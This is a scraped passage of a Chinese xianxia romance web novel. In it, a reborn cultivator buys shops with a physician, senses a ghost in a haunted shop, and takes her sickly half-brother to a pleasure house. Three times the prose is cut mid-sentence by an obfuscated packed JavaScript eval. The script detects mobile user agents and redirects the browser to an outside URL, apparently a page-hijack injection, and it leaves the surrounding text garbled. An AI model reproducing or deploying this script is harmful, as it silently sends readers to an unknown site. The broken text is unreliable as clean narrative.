他提及了情,沈盈息兀地就想起系统任务,让纪和致懂情。 恩情也是情,看来任务进度已被推动了。 沈盈息笑意加深,莹润的面庞展现出几近璀璨的笑容瞬时间压下了四周的喧闹嚣尘,势不可当地映入纪和致眸底。 “这样最好了,你记着我,我必也不会忘记你!” 少女这般坦诚笑道。 纪和致倏地垂紧了眼帘,执著的手恍惚间扣紧坚硬的竹筷。 他听不见周遭的喧嚣,仿佛所有争闹都随着少女的嗓音涌进了心中,耳边只剩一些余烬似的寂静,沈盈息的话是余烬里的火星,引着他,灼着他。 他太陌生这种感觉,如同陌生她身上干净的香气那样无所适从。 可他来不及整理这些感觉,也来不及做出对这感觉防备还是接受的决定。 因为沈盈息继而说:“我们定好药铺选址后,你做了老板,可就自由啦。自由了就好好享受吧,我觉得做人还是好好享受要紧,凡人这么短的寿命,不用来放松享受可真是太可惜。” 没错,在修士眼中,凡人短短百年的寿命正如一场休憩。 但在还不知世上有修士的凡人纪和致眼中,沈盈息的一番话却忽地唤起了他的清醒。 沈盈息和他不一样。 纪和致冷静地抬眸,缓缓地看过少女明媚灿烂的脸,这张不谙世事的脸上没有世故圆滑,没有风霜老练,她完全是金玉般纯粹精贵的人。 而他不是。 他的自由是她给予的,随着她的兴致而起,可能也随着她的兴致流失。 他的自由是岌岌可危的。 将她的恩情报答之前,用自己的本领浇筑好另一条自控的退路之前,他永远岌岌可危。 “谢沈老板。” 最后,纪和致平静地缓下心中的喧闹,恢复成古井无波的温和。 他先一步吃完了面,提前付了钱,而后便坐着静待沈盈息。 纪和致并不刻意去瞧,但同坐一桌,沈盈息的脸总也时不时地跳进眼中。 他避之不及。 …… 最后选中的铺子是在东街,东街上店铺林立,客流量大,是京城有名的商业圈。 饶了一圈,进行简单的市场调查后,发现东街并无做得很有特色的药铺,这真是天助沈盈息。 她随机看中了东街商业圈中心的一处闲置铺子,正准备带着纪和致前往交涉,不妨身前突兀地横出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251992|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只青袖。 纪和致拦住沈盈息,望着她疑惑的脸,温声解释道:“此宅前屋甚高,后堂较前宅低,光不入后宅,易生阴祟。且房檐左低右高,凶宅布局,恐有枉死的官司。” 沈盈息被纪和致说的一愣,她怔然地眨眼:“你还懂这些?” 纪和致放下手臂,抿唇:“医卜一家,风水卜筮我亦略懂。” 原是如此。 沈盈息了然点头,未观察到纪和致谈及医卜时的沉默神情。 她回想起修真界的卦修,这个和无情道一样逆天,但很神奇的大道。 但卦修多短寿,修为再高也活不过五百年,沈盈息未曾主动了解过,是以并不清楚个中缘由。 如今在凡间遇到与卦修般吉凶卜卦的事情,起了兴趣:“我们去问问,不买不要紧。” 兴起之下,她抓住纪和致的袖子便走向前方的空置铺子。 铺子里没有人,但在空铺前坐着个花甲老人,她华发苍苍,老态龙钟地躺在竹椅里,神态安静,好似睡着了。 沈盈息抓着纪和致的袖子改为抓住他的手掌。 她这下意识的举动自己也未发觉,只是觉着手中握住的东西僵了下,而后便有往回缩的势头,她想着找空铺主人,注意力不在手中,感觉握住的物事有挣脱之意,便用力捏了捏,以使其安静。 果然安静了。 沈盈息而后就保持着这个姿势,朝空铺两端张望了一番。 “没人?”她低喃一句。 “……不若问问躺椅上的这位?” 纪和致的嗓音在身后响起,沈盈息方将目光定在空铺前的老妇人身上,她正准备走上前,忽觉手中有异样触感,低头去看,男人宽实修长的手指正扣着她的手背。 他人高,手掌宽大,几根修长手指轻轻松松地扣满了她的手背。 纪和致肤色白皙,但不如沈盈息的白腻,两手相扣,不仅大小明显,肤色亦是差得明显。 青年和少女的体温通过交握的双手,细细密密地交换入掌心血肉。 外人看去,二者自有一种旁若无人的亲近。 “什么时候抓着你手了?”沈盈息回眸去看纪和致,低眼看着他不动的手,话说着自己也好笑,晃了晃两人的手,再抬头扯唇对他,“不好意思,可能是习惯了。” 她握剑握了几百年,方做十五年的凡人,一时还改不过来手中抓点东西的习惯。 不过想来纪和致不会在意。 他很大方的。 沈盈息笑了笑,然后松开手扭过头,径直朝老妇人走去了。 原地站着的青衣男人身形未动,手掌在半空中顿了顿,而后才慢慢收起。 纪和致望着前方的纤瘦身影,看了几秒,随之跟了上去。 在二人看不见的角落,暗卫抱剑,黑沉的眼珠紧紧盯着他们的背影。 6. 第 6 章 第6章 “铺子五十两就卖。” 沈盈息刚走到竹椅前,那闭眼的老妇人就睁开了眼,望着沈盈息,又望了望她身后跟着的纪和致。 她说完,打量完这两个陌生人,似乎做出他们不会买的预料,便闭上眼又准备睡。 纪和致此时温声开口:“老人家,打扰,我们来是请问您,这间店铺可是发生过不同寻常之事?” 老妇人眼角的褶子一颤,再次睁开了眼,她望着纪和致,盯了两秒,“你不买就走,不该打听的别打听。” “我……” “我们买。”沈盈息忽而启唇,站到纪和致身侧,而后从手腕上推下个玉镯,拿镯子在老妇人面前晃了晃,“这镯子放当铺可五百两都打不住,换你这个铺子,外加铺子的故事如何?” “沈老板,”纪和致微微蹙额,“这不妥。” 用五百两的镯子购置一处死过人的空铺,实是吃亏。 沈盈息对纪和致眨了眨眼:“千金难买我高兴。” 说罢,她看向他不赞同的目光,勾唇:“纪老板,你放心,我不是不相信你的判断,我们的药铺当然不会设在这,只是这铺子我实在想要。” “而且只是个镯子而已,我多的是钱。” ……纪和致沉默。 她既如此说,他又有何反驳的道理。 老妇人见他们二人间的口角官司断了,也就接过沈盈息的镯子。 她见过好东西,当然明白这镯子的贵重。 得到钱,老妇人从袖口里拿出地契,要交给沈盈息。 “给我身边的这位纪老板。”沈盈息顺手把纪和致扯到身前,拍了拍他的手臂,郑重其事道:“我不擅长管理这些,地契什么的还是交给你我更放心。” 纪和致的手中便被塞上了一张纸。 他怔然一瞬,看向黑眸含笑的少女,对她眼中的信任不置可否,而后垂眸,盯着地契。 明明是初相识,却这般信他吗? 未免太天真了。 青年手指缓缓抚过地契上的文字,指腹捏紧,又松开。 “好了,您现在可以说我的铺子发生过什么事情了吧?” 沈盈息蹲下去,平视老妇人,把‘我的铺子’几个字咬得尤为重。 “呵呵,那自然了,”老妇人苍老的声音低低笑,她望着蹲下来的沈盈息,莫名眼中泛起了慈爱的光,“我老了,说话含糊,小老板可要好好听奥。” 沈盈息撇嘴,“我耳朵灵着呢,您尽管说。” 纪和致望着蹲下去的少女,那张莹润雪白的脸专注地听着故事,故事和他预断的没有很大出入,她听得极认真,还会附和老妇人,做出‘奥?’‘奥!’‘这样啊!’诸如此类很捧场的回应。 地契比寻常纸张硬,抵着掌心,存在感很强烈。 随着时间,地契渐渐也被掌心的温度浸染。 纪和致靠手中地契已转移不了注意力,便不动声色地摩挲着掌中地契,重新垂眼看向少女专心的面庞,顿了一顿。 如果是他来讲,她也会听得这样投入吗? 他平静地想,他说话不含糊。 空铺的人命官司说简单也不简单。 “铺子原来是卖香料的,生意很好,赚钱最多的时候能顾得起十几个伙计。死的最多的,也是这伙计。” 空铺内,光色昏暗。 沈盈息坐着刚才老妇人临走前送给她的竹椅,躺在椅子上望着空落落的铺子,低声重复着老妇人口中的故事:“一个伙计守夜的时候突然发疯,进厨房拿刀砍死了铺子里还睡觉的所有人,连护院的打手都没逃过……” “哎,纪和致,你说发什么疯,能叫一个人杀了这么多人?”沈盈息忽地看向站在身侧的高大青年,“其他人睡着,护院可没睡啊,小伙计也没有武功,怎么杀得了这护院呢?” 纪和致自进门便将整间铺子的摆设都看过了,正如他瞧见的那样,此间屋子前高后低,光难入室,即便是白天,屋内还得燃烛照明。 分明外间是艳阳高照的晴天,里屋却阴冷如地窖。 不知是不是错觉,他总觉着沈老板一开口,铺子里的阴冷便无形散去了许多。 不过并不明显,若非他感知敏锐,也难以察觉。 “许是,”纪和致跟着沈盈息的思路,斟酌:“有人襄助。” 有人襄助? 沈盈息似是而非地点头,纪和致和她看见的东西果然不一样。 她灵力虽被封,但神识仍在。 渡劫失败后,她的修为和神识都退回了元婴期,但这已足够她看清这间屋子的异处。 纪和致所说的襄助是有,却非人也。 这铺子里有只邪祟,沈盈息见它身上冒出的阴气浓郁磅礴,料定它修为不低。 细眼一瞧,竟然都有——结丹了? 这么强了,可不好处理啊。 沈盈息苦恼地坐起来,余光装作不经意地从纪和致身后瞥过。 那只邪祟此时正窝在纪和致身后的墙角里,两只灰白的眼珠死死地盯着青年的后背。 纪和致有成就大道的潜力,根骨天赋自不差。 他如今还是个凡人看不到,但在有灵力的人妖鬼眼中,他那身绝佳根骨扎眼诱人,正如夜中皎月般吸引着各路贪婪的视线。 沈盈息眉心灼烫,身为前无情道魁首,斩妖除魔的秉性发作,她如今体内战意如沸,恨不得现在就扒开碍眼的纪和致,一剑劈了他背后的恶鬼。 可惜,太可惜了。 她现如今只是个凡人。 拿不出各样符箓法器,也唤不了一段法咒。 望鬼兴叹的沈盈息,没注意到纪和致的目光顺着她的,若有所感地投向了身后。 …… 最后,沈盈息拉着纪和致走出了空铺子,她把门锁好,钥匙留了一把给纪和致。 “走吧,去看看别处。” 事实证明只要有钱,没有租不下的铺子。 沈盈息和纪和致最后在东街又寻着了处地方,纪和致道此处风水正旺,日后必生意兴隆。 沈盈息不在意这生意隆不隆,这铺子的钱于她而言九牛一毛,闻言只是继续把买下的地契塞到纪和致怀里,而后随意道:“生意兴隆是好,你也别累着。” 纪和致抵住怀中轻飘飘的地契,听得少女嗓音和纸一样轻飘飘的关切,他低低嗯了声。 置下铺子,沈盈息见天已擦黑,不欲和纪和致多待,打了招呼:“那我就先回家了,你今天就住在这里吧。” 她同样留了把钥匙,然后转头要走。 “沈老板。” 身后突然传来青年温润动听的声音。 沈盈息转过身,纪和致站在暮色之中,影子被暮阳拉得很长很长。 “还有事吗?”她漫不经心地问道。 青年乌黑的眼珠转了下,目光定定地投在她脸上,薄唇微张,语调轻缓:“谢谢您。” 这么郑重? 沈盈息笑了下,对端正如玉的青年摆了摆手:“你赶快回去休息吧,要谢谢的话,以后就拿赚到的钱来谢。” 纪和致颔首,他站在夕阳下,辉煌的霞色罩在身上,映得他发丝眼睫皆是一片金色,恍若谪仙。 他望着沈盈息,对她缓缓笑起来,“您也早些休息。” 沈盈息点头,鸦睫微垂,忽而间像想起什么一样,她对着半空唤了声:“阿仓,出来了。” 纪和致一怔。 被沈盈息唤了名字的阿仓也一怔。 不过暗卫还是立刻出现了。 一袭暗青劲装,劲瘦的腰间挂着剑,他抱拳对沈盈息单膝下跪:“家……” “别家了,”沈盈息利落打断阿仓的称呼,她抱臂望着阿仓,虽然知道他在永安做的事情,但并未戳破。 作为修士,她不可能察觉不到那些药柜后的窥视和杀意。 阿仓是个忠诚的暗卫,沈盈息放心他留在纪和致身侧,于是命令他道:“这些天你也别回家了,你就待在铺子里,护着纪老板,知道吗?” 阿仓得令的刹那,宽阔的背明显地颤了下,但瞬间又恢复了沉默,他声线平冷,一如往常:“是。” 沈盈息这时不再看阿仓,而是对不远处的纪和致说:“我今天把你从永安药铺带走了,为防你的老东家找来害你,我把阿仓留给你。放心,阿仓武功很高的。” 而且阿仓身上杀气也很重的。 那邪祟纵有结丹修为,却也不过是人间的邪祟,是人死后所化的,必也遵着人间的一套规矩。 畏惧杀气重的活人便是一项。 沈盈息说完,实在觉得今天做了太多事,凡人的身子又重又累,她不想再听纪和致的谢谢,挥手转身,这次真的不回头离开了。 纪和致站在门口,直至少女的身影消失,方收回目光。 收回视线的那刻,他猝不及防和一双阴冷的眼睛对视上。 是阿仓,她留下的暗卫。 她的暗卫望了他几息,而后又漠然地移开眼神。 ——在这个暗卫眼中,他好似个是个死人般不值一提。 纪和致知道暗卫今天杀了多少人,被他用那样冰冷的目光一扫,他不由得想起自己进后堂时看见的遍地尸体。 如沈老板所说,暗卫的武功确实很高。 …… 沈盈息回到沈府,阿廪穿着身暗绿衣裳出来迎她。 接过她回家路上随意买的零碎,阿廪轻声关切:“家主今天很开心?” 见到了第一个任务对象,还和他处成了日后能时常见面的关系,沈盈息想了想,“嗯,挺开心的。” 管家桃花眼暗了暗,而后又扯出笑容,和她同乐:“开心便好,晚饭已备好了,属下让人布置。” “可是阿姊回来了?” 沈盈息净手准备吃饭,突然从侧廊里传出一道孱弱清澈的少年声音。 整个府中能唤她阿姊的,也只有那位庶出的小少爷了。 自沈盈息和嫡兄接管沈家起,整个沈府地位最高的便是他们两。 在淮东本家的时候,其他分支的叔伯们都得以二人为尊,更不论府里养的庶出少爷了。 这个时候了,作为庶出子嗣的他来问安她属于寻常事。 那个庶子弟弟未见其人只闻其声,阿廪拿着丝帕给她擦净手上水珠时,沈盈息得空想了想这弟弟的样子。 沈家人皮肤都白,这个弟弟从小病弱,更是白得有些透明。 不过他生得极好看,丹凤眼高鼻梁,一张红唇微厚,唇珠饱满又鲜艳。 很奇怪的一个小子。 男生女相,孱弱但不缺身量。 他比正常男子还高些,只是清瘦,常年披着羔裘,一整个人从春到冬、从头到脚都像片雪一样。 沈府不缺这位庶三少爷的衣食汤药,只不过比起对嫡系二位的细致服侍,这位小少爷总是处于一种不上不下的尴尬地位。 姐弟两之间的关系也不上不下的,半生不熟的,在八岁时才有第一次真正意义上的相见。 在此之前,沈盈息都只是知道别院里养了个病秧子,别的一概不知。 沈盈息自小喜欢活泼生艳的人和事,是以在看见这个弟弟的第一眼,她就不喜欢。 但她这个弟弟偏很喜欢她似的,年幼时就爱随她玩,大了些更是不顾羸弱病体也要跟她路遥遥千里进京。 沈盈息的兄长和身边亲近些的人都告诫过她,“沈三乃庶出,久卧病榻,心郁难纾,如此反常地靠近你,必有所图。” 必有所图? 沈盈息从阿廪的帕子里收回手,看向站在门口的少年。 沈三只比她小一个月,今年也才十五,不过他比她高很多,站在门口就能把大半的阳光遮住了。 果然是雪一样的少年,望两眼就觉得冷。 沈盈息瞥过少年身上的羔裘,毛茸茸的,他当真不热吗? 若说他有所图,也只能图她施舍点银钱,给他多请些医师治病吧。 “阿姊?” 门口少年轻轻地唤了声,他似乎对自家阿姊的目光很敏感,她多看几眼,他就眼神微颤,想躲又想接的样子。 他音色很好,清如刚化的雪水,听之神清。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251993|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈盈息嗯了声,收回视线:“你来干什么?” “弟来,是为……”少年顿住了,仿若觉着难以启齿似的,咬住红润温厚的下唇,俊秀的脸上露出一丝羞赧。 沈盈息不由多瞥了一眼。 “有事就说,”少女声音淡淡的,带着几分不耐,“我没功夫跟你瞎耽搁。” “阿姊……”听到沈盈息的冷淡催促,沈三的脸色顿时更苍白起来,他修长洁白的手指捏着羔裘的袖角,干燥柔软的绒毛舔舐着他不自觉间洇出汗湿的掌心,“我,我来,是想求阿姊件事。” 他终于说出了此行的目的。 沈盈息简直难以理解有人真的这么怕她。 她厌烦起来,拧着眉甩了沈三一记眼刀:“直接说事!为什么跟我总是这样,我最讨厌你这幅磨叽的样了。” 讨厌……阿姊讨厌他。 沈三一愣,忽而间差些就落下泪来,他强忍着泪珠,憋红了眼眶,纤长睫毛颤着,“阿姊莫要厌我,试玉来此是想说,弟随姊姊来京已有数月,久待府中,近来也觉烦闷,不知阿姊能否……?” 沈盈息听着,神色逐渐古怪起来,这厮想要出门? 她这位风一吹就倒,太阳一晒就化的病秧子弟弟竟然也有想出门玩的一天? 沈盈息不理解:“你在淮东的时候能十年不出家门,这进了京一年都没有呢,你是不是……?” 她思量了下,找了个合理的理由:“你不会是喜欢上谁家的姑娘了吧?” “不是!” 仿佛是错觉,沈盈息觉得沈试玉听到她的揣测后脸更白了。 他好像太急于否定这个理由了,生怕谁误会一样。 沈盈息啧了声,“怕什么东西,你虽然跟个竹竿似的一掰就断,但好歹是我沈家的人,有我在,你还怕配不上哪家姑娘吗?” “阿姊莫要再误会了,试玉没有心慕别家的姑娘,只是,只想随阿姊一同出府而已!”情急之下,沈试玉竟提高音量,将心中所想竟全倾倒了出来。 话说完,他才后知后觉自己的妄为,下意识咬紧了下唇,红润润的唇肉被他咬得泛出细细白白的齿痕。 即便此,他还是忍不住抬起凤眸,翼翼小心地看向少女。 他又害怕又期待她的反应。 阿姊会……会不会…… 沈盈息被沈试玉一声打断,愣了下,而后蹙起细眉,狐疑的目光不住地打量着沈试玉那张冰雕玉淬般精致的脸。 搞这么一通,只是想和她一起玩? 还没被她玩够吗? 沈盈息真的不喜欢沈试玉,然而她又不能抛弃他。 这是她弟弟,是沈家人,总比旁的陌生人亲点的人。 可这小子弱得跟刚生下来的狐狸幼崽一样,光好看,但没用。 实在弱得不行。 小时候带他玩过几次,光是跟他打雪仗就能把这小子打得吐血了。 当真是血淋淋一片,下巴上又沾着雪又沾着血。 可骇人了,他还对着她笑。 自那以后沈盈息再也不和沈试玉玩了,连和他见面都能免就免了。 沈试玉就像一个长得好看的大麻烦。 沈盈息深谙这麻烦的深重。 她烦躁地踢了下桌腿,恶声恶气地拒绝:“你这还不如喜欢上哪家姑娘呢,我带你玩,你玩得又要吐血,我可不想平白无故被你惹一身脏血。” “阿姊……”沈试玉嗓音低落,眼神顿时黯然,他那张琉璃似的精美脸蛋见不得如此伤心的神情,显得又脆弱又透明。 少年沉默了会儿,眼里已含住泪了,但他还是憋着哽咽,试图挽救:“阿姊不要担心,我已多年不曾呕血了,现今身子虽弱,却也并非不能走动游玩的,阿姊,试玉、试玉求您了。” 越说越忍不住,沈试玉忽然从门口走进来,把身上羔裘一扯,厚实的裘衣就摔到地上,露出少年穿着的一身锦蓝长袍。 “阿姊您摸摸试玉,试玉身子是不是好多了?”少年抓住沈盈息手就往自己胸膛上压,他摁着一会儿,又带着她的手摁向腹部。 ——叫厌恶他孱弱的阿姊好好摸住,他这个弟弟根本不再是儿时那位会被雪球砸出血的小孩了。 沈盈息猝不及防摸到几块少年腹肌,她惊了下,没料到真的有,但也怒了:“沈试玉!我看你是要反了,敢抓我!?” 沈试玉垂下眼皮,眼尾红红地望着他阿姊泛着怒意的面庞,一张口,泪就落下来,他一边流泪一边道:“阿姊打我,阿姊骂我,阿姊尽管罚我好了!反正阿姊今日不允,我明日就再来,明日不允,我就烦阿姊到允我为止!” …… 哭得这么个水样。 沈盈息推开少年的动作僵了下,她真担心这一推,她的好弟弟摔一跤然后摔死。 这横来的业障她并不想要。 可胸中一口气上不去下不来,沈盈息憋得慌,她狠狠抬眼,想瞪住以弱小威胁她的少年,却忽而撞入他含泪清润的水眸。 ……哭得也太漂亮。 沈盈息只觉得手里像捧了个烫手山芋,偏偏还丢不得。 她连饭都不想吃了,现在只一门心思处理了沈试玉,好绝了他日日都来的念头。 “你就想跟我出去玩?”半晌,沈盈息收回手,思量了一番,“在府里玩就不行?” 沈试玉望着她收回去的手,眼底划过一丝可惜,而后又对上少女的眼睛,认真道:“如果有阿姊在,试玉其实在哪儿都欢喜。但素闻阿姊爱热闹,府内人少过静,非阿姊所喜,我不愿委屈阿姊。” “……” 混小子,刚刚哭得上气不接下气的,现在演绿茶倒是得心应手的。 但沈试玉也说对了。 既然非得和他玩一次解决这个麻烦,沈盈息当然不愿意委屈自己待在府里。 明天后天以后的哪一天都觉得不适合,沈试玉一跟着,她见也见不了纪和致,除也除不了鬼,很麻烦。 那不然,择日不如撞日。 她其实还没去过人间花楼,听说晚上花楼热闹,男女都能进楼玩,沈盈息也好奇得紧。 7. 第 7 章 第7章 沈盈息带着沈试玉坐上马车,车内空间宽阔,容纳两个少年人绰绰有余。 “……沈试玉,坐过去。” 沈盈息当下却觉得马车内十分拥挤,盖因沈试玉自上车起便挨紧了她坐下,少年郎腿长手长的,把她旁边的空位塞了完全,一点空余不剩。 沈试玉坐过来时一声招呼不打,现在却胆怯作态,两只手在宽袖下搅弄,遭到驱逐,小意绵绵地露出笑容:“姊姊莫恼,是我冒失了。阿姊的宽和善心带弟游玩,我太高兴失了礼数,又因阿姊身上温暖,一靠近阿姊就觉着通身舒畅,这才叫阿姊难受了。” 雪琉璃般的少年说着,双眼微闪,就要起身,言听计从的模样好不惹人怜爱。 但沈盈息没有感觉,她撇嘴,“知道就好,还不赶快……” 话音未落,异变突起,马夫忽然挥鞭,马车突然间季就动了起来。 沈试玉站立不稳,本是双手一撑就能避过跌倒的,他偏撑立不及,一时间就这样倒了下去。 他正好是面对沈盈息站着的,一倒,就这样迎着少女倒过去了。 “沈!试!玉!” 沈盈息是真躲闪不及。 眼睁睁看着少年像座雪人似地颓了过来,她伸手去撑,但还是挨不住少年过高的身量,一下被压倒在了软榻上。 疼倒是不疼。 ——沈试玉最后关头伸出手,长臂撑住了榻子,把她半怀抱住了。 但也并不好受。 也不知沈试玉究竟是什么做的,看起来跟冰雪一样脆弱的人,身上又硬又热,她在他怀里没待一会儿,就觉得抵住少年胸膛的手也跟着热了起来。 两人一上一下,彼此呼吸交缠,是十五年来都从未有过的亲密。 意外造就的亲密。 “阿姊没事吧?” 头顶上方传来少年惊慌的问询,他似乎害怕她生气,不等她回话就着急地动作起来,谁知越动越乱,他那头发髻动作间散了下来,绸段似的青丝立刻遮住了沈盈息的视线。 …… 身前是少年的胸膛,脸侧是少年的长发,沈盈息视野受限,细眉紧拧。 她看不见东西,无从得知柔弱倒地的少年此时正垂眸,望着她露出的后脑细颈,眼中情绪莫名。 “滚、开、” 少女被闷在狭窄之处,伸展不开,脾气上来,近乎是咬牙蹦出了这两个字。 少年这时方回了神,一手护住倒伏的姐姐后颈,一手撑住软榻屈腰半站了起来。 “阿姊,对不起,我……” “啪!” 沈盈息刚坐好,就一巴掌把沈试玉揽着她的手给打了下去。 她用了很大力气,少年细白如雪的手背立刻红了一片,如泼了片红墨似的洇开了色。 “阿姊……”沈试玉愣愣的,左手盖着被打的右手背,琥珀色的眼珠定定地望着少女,待对方抬眸看来时,又忽地两眼湿润,隐含受伤之色。 “阿姊便这般厌恶我吗?”少年这时已乖顺坐远,与沈盈息离着一张矮案的距离,隔桌而视,神色戚戚。 沈盈息揉着手腕,闻言斜眼鄙薄,不遮不掩:“你有何处值得我喜欢的吗?庶子便也罢了,偏还这般病骨支离的。既不像兄长一样能走四方赚钱给我用,也不能像我的奴仆一样伺候我,若非你是我弟弟,我连多瞧你一眼都不可能!” 少女自小被捧着奉着,没人教过她讨好与低声下气,所以在表达好恶上,她一向直白到近乎锋利。 这点也全不是环境使然,身为前无情道魁首的魂息,沈盈息本尊亦是如此。 喜欢是喜欢,厌恶是厌恶。 她的强大允许她直白。 少女话音已落,马车内寂静良久。 只余车外的轮轴转动声还在响起,车轱辘辘向前,车内的两个少年陷入停滞中。 半晌,沈试玉眉眼微动,掀起纤长眼睫,眼瞳凝着前侧的沈盈息,湿润的目光在她那张莹白明丽的面庞看了又看。 “……可是阿姊,您儿时曾那样对我笑过……” “笑?”沈盈息皱眉,“现在谁还记得小时候的事情。” 说罢,马车停了,马夫恭敬的声音在外面响起:“家主,翠玉楼到了。” 外间奴仆掀开车帘,沈盈息提起裙角,踩着马凳往下走,突然察觉到身后有道难以忽视的视线。 她回头去望,正对上沈试玉琥珀般干净的眸子。 看见她回望,沈试玉对她眨了眨眼,眼中泛起笑意。 沈盈息看了几秒,厌烦地收回视线,同时将心中疑惑压下。 这个沈试玉就是个普通的凡人而已,她刚才怎么觉得的,竟从他身上看到一丝森森鬼气。 …… “家主,这是廪管家给您备下的银票。” 思绪间,奴仆递过来一只荷包,沈盈息掂了掂,很厚实的一沓。 沈试玉跟着下了马车,陪在身侧,身上的活人气息跟着绕了过来,沈盈息顿了下。 “阿姊,刚才在车内是试玉做错了,您莫要再生气了。试玉无用,不能为姊姊所喜,日后定勤勉读书,博取功名,做个对阿姊有用的弟弟。” 少年柔和清润的嗓音落入耳中,一等一的音质,即便是在花楼门口这般喧嚣的地儿,也不曾折损一分动听。 沈盈息忽地省了过来,推了把沈试玉的肩头:“要玩就好好玩,这时候念什么读书功名的,我可警告你,别扫我的兴致。” “都听阿姊的。”沈试玉抬手,摸了摸被推过的肩头,笑容乖顺。 沈盈息哼了声,顺着少年白皙手指,看向他的笑,发现他不知何时已整理好了发髻,掉落的簪子再次回到了头上,在光色陆离的花楼门口内敛又不失精致,像它的主人。 沈试玉出门时主动脱了羔裘,没了一身白,只袒露着张脸,却也格外引人注意。 其实不止沈试玉显眼,沈盈息更是耀目。 年岁不大的少女,一身金银锦衣,气质华贵,面如芙蓉,刚下了马车就已吸引到了许多人物。 “二位……” 翠玉楼里早有人观望,见两个衣着光鲜、样貌不凡的少年站在门口说话,这时对话结束,应是有了闲空,便立刻上前,堆笑:“可是决定了,来翠玉楼小酌几杯吧?” 沈盈息抬眼,看向笑容满面的老鸨,骄矜点头:“给我间最好的上房。” 老鸨一听,笑得眉不见眼:“欸欸,尊客这边请着。” 沈盈息跟着进入翠玉楼,沈试玉却还有些没反应过来似地,默不作声地将四周环境打量完毕,又把视线投向离去的沈盈息。 阿姊平日里都来这儿玩吗? 无怪乎,这几日连家都甚少回了。 沈试玉大门不出,对外间了解甚少,如今见这翠玉楼人声鼎沸、花香四溢,初以为是什么热闹的酒楼。 待随沈盈息进入楼内,方知不对。 一般酒楼……可没这样多漂亮的男女。 沈试玉一一看过去,却觉得这样多的漂亮男女,没一个比得过他的样貌。 可即便如此,阿姊却也不喜他。 “阿姊,这儿好玩吗?”沈试玉敛眉,望着身侧一脸新奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251994|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开心的少女,声音清浅。 “好玩,自然好玩。” 说话间,沈盈息笑着接过一个清秀少年递上的果酒,顺手抛出了一锭银子,老鸨在一旁大力奉承着她貌美又大方。 沈盈息咽下嘴中甜酒,耳中听得楼中笙箫齐奏,恍然间像进了什么甜蜜的幻境里。 杯酒下肚,她虽未醉,眼中却生了水光,一双长圆黑眸湿润润的,映着楼里繁华灯色,惑人的干净。 “哎呀,尊客这是怎么了,醉了吗?”老鸨也是见美心喜,在一旁见沈盈息水润黑眸,一时手痒,伸了手就欲扶人。 “滚。” 手还没伸过来,但被一道少年淬冰的嗓音阻拦。 老鸨一惊,眼神从沈盈息身侧的少年上转过,却发现那少年红唇紧抿,只一味紧盯着少女,不似出声的样子。 她狐疑了瞬,双手又缓缓从袖中伸出…… “你今天敢伸手碰她,明日你的手也不必在了。” “嚯!”老鸨惊恐,她扎扎实实地听到一道少年声音啊。 阴冷、冰寒、饱含杀意。 这这这……见鬼了?! “欸?”正当老鸨强自镇静,预备查询声音来源时,沈盈息出声了。 少女眯眼,看向二楼处,扯唇:“你怎么在这啊?” 楼上静了一瞬,而后才落下一道讽声:“这儿是什么好地方不成,你沈盈息进得,小爷我就进不得?” “……” 沈盈息翻了个漂亮的白眼,根本不想再看二楼。 怎么就这么巧,冤家路窄的,去哪儿都能碰上季九。 本来挺高兴的,她还准备趁着高兴劲和季九正常说点话,谁知道这人看不清好赖,一出口就呛人。 “真是晦气。” 沈盈息拽住沈试玉,看向发呆的老鸨:“喂,你干什么呢,还不快带我去订的房间。” 老鸨猛地醒过神,忙不迭点头哈腰:“是是,您这边请。” 而后让出空,请沈盈息和沈试玉先行。 老鸨自个儿随在两个少年身后,试探的眼神向二楼探去。 不探不打紧,她一眼瞥去,正好和季九冰冷的目光撞上。 那样的眼神,老鸨被吓得一抖,赶忙扭过头,再不敢多瞧了。 真是可怕……季世子看起来真的会剁了她的手。 待沈盈息的背影消失在楼阶之间,二楼的季九回了房间,修长如玉的手指端起一杯酒,抵着唇,暂且未喝,而是冷冷道:“查查沈盈息身边的人是谁?” 房间内烛火一闪,一道黑影离去。 季九方慢慢地抿了口酒液,眼前再次浮现出沈盈息醉意朦胧的模样,他脸颊莫名一热,眼神却愈发冷着。 房间静谧,过了半晌,华衣少年半垂长睫,手指摩挲着杯身,绯红薄唇微启:“看看沈盈息现在定的哪间房,给本世子把她旁边的房间都定了。” 烛火再闪,又一道黑影悄无声息地出了房间。 季九坐在原处,黑沉的视线凝着杯中酒液,思及那少女两眼无知地喝花酒的场景。 “蠢。” 薄唇一掀,季九面无表情地道。 他方才内力传音,警告了不老实的老鸨,看她刚才惊恐的样,应是不敢对沈盈息做手脚了。 这样一只老鼠都晓得惧怕他。 偏她,偏这个淮东来的沈盈息无所畏惧,几次三番挑衅。 